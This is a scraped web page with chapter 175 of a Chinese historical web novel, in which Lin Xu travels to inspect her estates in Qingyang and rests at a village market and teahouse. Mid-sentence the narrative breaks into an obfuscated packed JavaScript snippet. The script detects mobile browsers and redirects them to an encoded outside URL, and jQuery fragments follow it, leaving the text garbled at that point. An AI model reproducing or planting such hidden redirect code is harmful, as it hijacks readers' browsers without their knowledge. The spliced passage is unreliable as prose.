只昔遥遥 作品

175. 歇脚

这样想着,齐管事却不知何时走到她的面前,一副恭敬神色,拱手道:


“夫人,您的车马已经备好了,只待您这边收拾好行李,不日便可动身前往庆阳了。”


林栩此行前往庆阳,并未打算停留许久,她打算先去那里田庄上看一眼,再找管事来问话,如此算上来回赶路时日,却也要将近五日左右。


而自那日两人僵持之后,她还一直未寻得机会再和窦言洵提及此事,本来还在斟酌着要如何开口,前几日齐管事却躬着身子特意来给她请安:


“夫人,老爷近日忙于公事,特意吩咐小人,但凡夫人您生活或主中匮有何需要、亏缺之事,尽管让小人为您打点便是。”


林栩听闻的时候,心底不禁一动,面上却只是淡淡的点了头。


“正巧这几日我想去名下那几个庆阳的田庄看看,便由你安排下去备车吧。”


齐管事听闻,没有丝毫犹豫,当即便去办。亦丝毫没有过问林栩为何要去,又打算何时归来。自然齐管事碍于身份,也不好过问主子的事情,林栩便也正好不作解释。


此去庆阳,她只打算带着竹苓一人,绒薇和弄玉留在府里,也好照料看顾两只鸟儿和雪团,并家中一众琐事。于是她便让竹苓收拾好要带的细软包裹,左不过是一些干净衣物并银钱罢了。


待到临出发之际,林栩一袭浅烟色薄罗对襟长衫立在院中,看着仆从们忙上忙下的为她收拾行装,想了想,便轻声问着前来相送的齐管事:


“……夫君,可还是在忙?”


齐管事点头,“老爷一大早便和孙县丞一道去了护城河畔巡察,又有两位师爷和几位幕僚作陪,怕是得天黑才能忙完了。”


这几日有了郑江然的暗中授意,护城河一带一直算不得太平。


许是怕林栩心中落寞,齐管事又忙道:


“但是老爷知道夫人您今日出发,还特意挑选了几名护卫一路护送您,还让小人给您准备了路上的吃食和银钱。老爷还说,请您此行务必小心,平安归来。”


那几名护卫早早便在院外等着,各个膀大腰圆,林栩一眼便认出这几人都是窦言洵如今身边护卫中身手最好的几人,如今皆尽数安排给了她。


秦嬷嬷听了,也在一旁对林栩笑道:“二爷这是心中惦念您呢。”


可这些高手都用来保护她,那这几日他的安危呢?


单是在县衙内部,在他的身边,便有暗中阻挠的势力。而那郑江然眼看一副不将此事闹大不肯罢休之势,不过短短几日崃宁便有数条货船停运,这些运送到沐京的商物本来能赚好大一笔,如今停运,损失自然不小。郑江然则好像要把这些损失都一并算在窦言洵的身上似的。


尽管林栩心底并不十分看重这位崃宁的小郑老爷,只觉得其不过绣花枕头,在虚张声势罢了,但一旦涉及到窦言洵的人身安危,她也不得不多添了几分心思。


便蹙了眉头,轻声对齐管事道:“……禅院毕竟是佛门清修之地,闹出此番动静,眼看愈演愈烈,自然也于诸方无益……便以我的名义,在那禅院里供奉一道佛牌和一盏长明灯吧。”


齐管事忙赞一声“夫人慈悲”便躬身应了是。


崃宁百姓信徒众多,窦言洵身为县令,一方面自是不好立即出手,另一方面,但凡真的日后真的和郑家撕破脸面,未免会被人拿佛祖之事做文章,若是以她的名义,反而能让此事和缓几分。


林栩又看了眼弄玉和几个丫头,吩咐道:“这些日子我不在家中,夫君的日常起居定要小心侍奉着,不可掉以轻心。家中膳食诸物,也万万不能松懈,以银针银筷验过毒再给夫君。”


他们毕竟在崃宁初来乍到,一旦有人真的急眼了,尽管可能性并不大,但她也不愿真的发生什么意外,不得不吩咐下人们万般小心的防着。


弄玉听了,正了正神色,忙恭谨地应诺。


她既然如此吩咐,下人们也知道紧要关头,自然也都打起精神来。吩咐好这一切,林栩喝过热茶,这才和竹苓一道上了马车。


短短几月,这已经是林栩第二回出远门了。上次从沐京来到崃宁,一路有窦言洵作陪,那时心里不仅有对未知的担忧和忐忑,还有对离开沐京,想要施展身手的拳拳之心,如今短短一月,她便再度出发了……


只不过,这一回身边却没有他。


马蹄声嘚嘚,此行一路向着西北而去,夏风和煦,柔柔带着暖意吹在脸侧,倒也很快便吹走了她心里的愁绪。


林栩前世曾经过庆阳,却也只是那一回去荷城外祖家小住而路过而已,如今早便忘记那时窗外的景色了。


竹苓却是头一回来庆阳,一路上小脸上都是藏不住的兴奋,她透过窗缝左看右看,很是新奇:


“夫人,您看这儿路边的沙石和植物,一路向北,倒是和南边很是不同呢。”


庆阳隶属于庆州,与荷城紧密相连,沿途山坡上梯田纵横,处处可见夯土筑成的围墙,自然与江南水榭不同,别是一番别样风景。


林栩半眯着眼睛小憩,闻言轻笑:


“庆州一带自古便临近边陲,盛产铁器,百姓尚武强悍,却十分重情重义,出过不少征战沙场的名将,虽比不得江南富庶,却盛产荞麦等作物,当地的瓜果也很鲜甜,风景也极美。”


竹苓认真的听了,忍不住敬佩,“夫人当真是学识渊博!”


林栩却抿唇而笑。无非是从前在外祖家,每日被外祖抱在膝上听其侃侃而谈罢了,外祖年轻时征战半生,过惯了刀尖舔血的生活,见闻也比一般男子要广,儿时的记忆她也便记到了现在。


而且,自从廖珚随军之后,她惦念战事,也陆续看了几本介绍各地风土人情的地方志及本朝的郡县图志,这才对大昱境内各个州郡有了不少了解。


两人正说着,一阵风吹过,便自窗外拂进来混杂着热气的香味,倒像是饼皮焦黄,煎过的芝麻酥香扑鼻的味道。竹苓忍不住缩了缩鼻子。


眼见她们已经坐了半日马车,眼下正值


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339911|150938||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


晌午,的确也该歇歇脚了。林栩便笑道,“去和姜护卫看看,前面可有店家?”


姜护卫一张方脸,生的人高马大,便是此行窦言洵派来保护她的一众护卫中,身手最为高超之人。


竹苓得了吩咐,自然高兴,喜笑盈盈地便下去了。


林栩看着窗外不远处青灰瓦顶的土房错落有致,隐隐有鸡鸭伴着溪流的声音顺风而来,她们应是到了某个沿河而筑村落附近。


果然,没一会儿竹苓便折返回来,笑着道:“夫人说的没错,这儿附近倒很是热闹呢,今日正好有个集市,好几处村落的乡亲都来赶集了。再向前些还有几家茶肆和饭店,夫人可要下车喝杯茶?”


姜护卫他们几人分坐了两辆马车,如今也都实在口渴了,林栩心知肚明,便体恤他们,一道下了车,吩咐马夫将车停在路边,打算去集市上看一眼。


下车没行几步,便听见小摊贩们叫卖声不绝,热浪翻滚中,混杂着瓜香、肉香、灰尘与汗味的空气扑面而来,不仅有新鲜的瓜果,还有冰镇的凉茶熟水,热腾腾的卤菜和酱牛肉等,护卫们虽然不说,但都明显眼前一亮。


林栩便塞了一个沉甸甸的荷包给竹苓,“和姜护卫一起商量着,想吃什么便买吧,也犒劳些大家舟车劳顿。”


几名护卫一听,都双手抱拳连声道谢,姜护卫更是一脸谦卑,“多谢夫人体恤。”


说是这样说,但林栩看见他们几人站在摊前,似乎又都不好意思真的去买,许是生怕自己逾矩。


她也只是笑着,走上前看了看,很快便点了二十个芝麻葱油饼,三斤炖得软烂的熟肉,又吩咐竹苓给每个护卫买了杯冰凉解渴的酸梅汤和凉菜,又让摊主拿油纸一一包好给护卫们送去。


姜护卫连声道过谢,面色十分感激,很快便领着大家靠着一颗老槐树席地而坐,分发起食物来。都是些训练有素的护卫,又因着常日在官府做事,即便是歇息也都十分守规矩。


林栩看在眼里,这些护卫皆是看着便十分可靠踏实的面相。她心里知道窦言洵定是选了最为出众的一帮人才派来保护自己的,也渐渐放下心来。


又瞥见前处不远处便是一间土屋茶铺,窗外挂着随风而动的青布帘,上写一个“茶”字,隔窗便可看见内里悠悠茶香氤氲飘渺。


走了大半日,眼下中午烈日当空,她确实也渴了,便由竹苓扶着进去点了杯茶。


因心里尚还记着上回在来崃宁的途中在茶馆遇刺一事,林栩甫一走进茶馆,便飞快私下张望一番。


却见内里陈设一应十分简朴,门梁上倒挂着几片干荷叶,与艾草一并扎成束,随风散发着淡淡的清香,店面不大,内里坐着寥寥几桌,却只有一个身着褐色麻布衫,卷着袖筒,应是不过刚刚二十左右的年岁的年轻茶娘子在店内忙碌。


听见脚步声,一手提着铜茶壶,一手端着一屉刚出笼的桂花糕的茶娘子抬头向林栩看过来,双眸清亮,不慌不忙的点头吆喝了一声:


“客官您里边请。”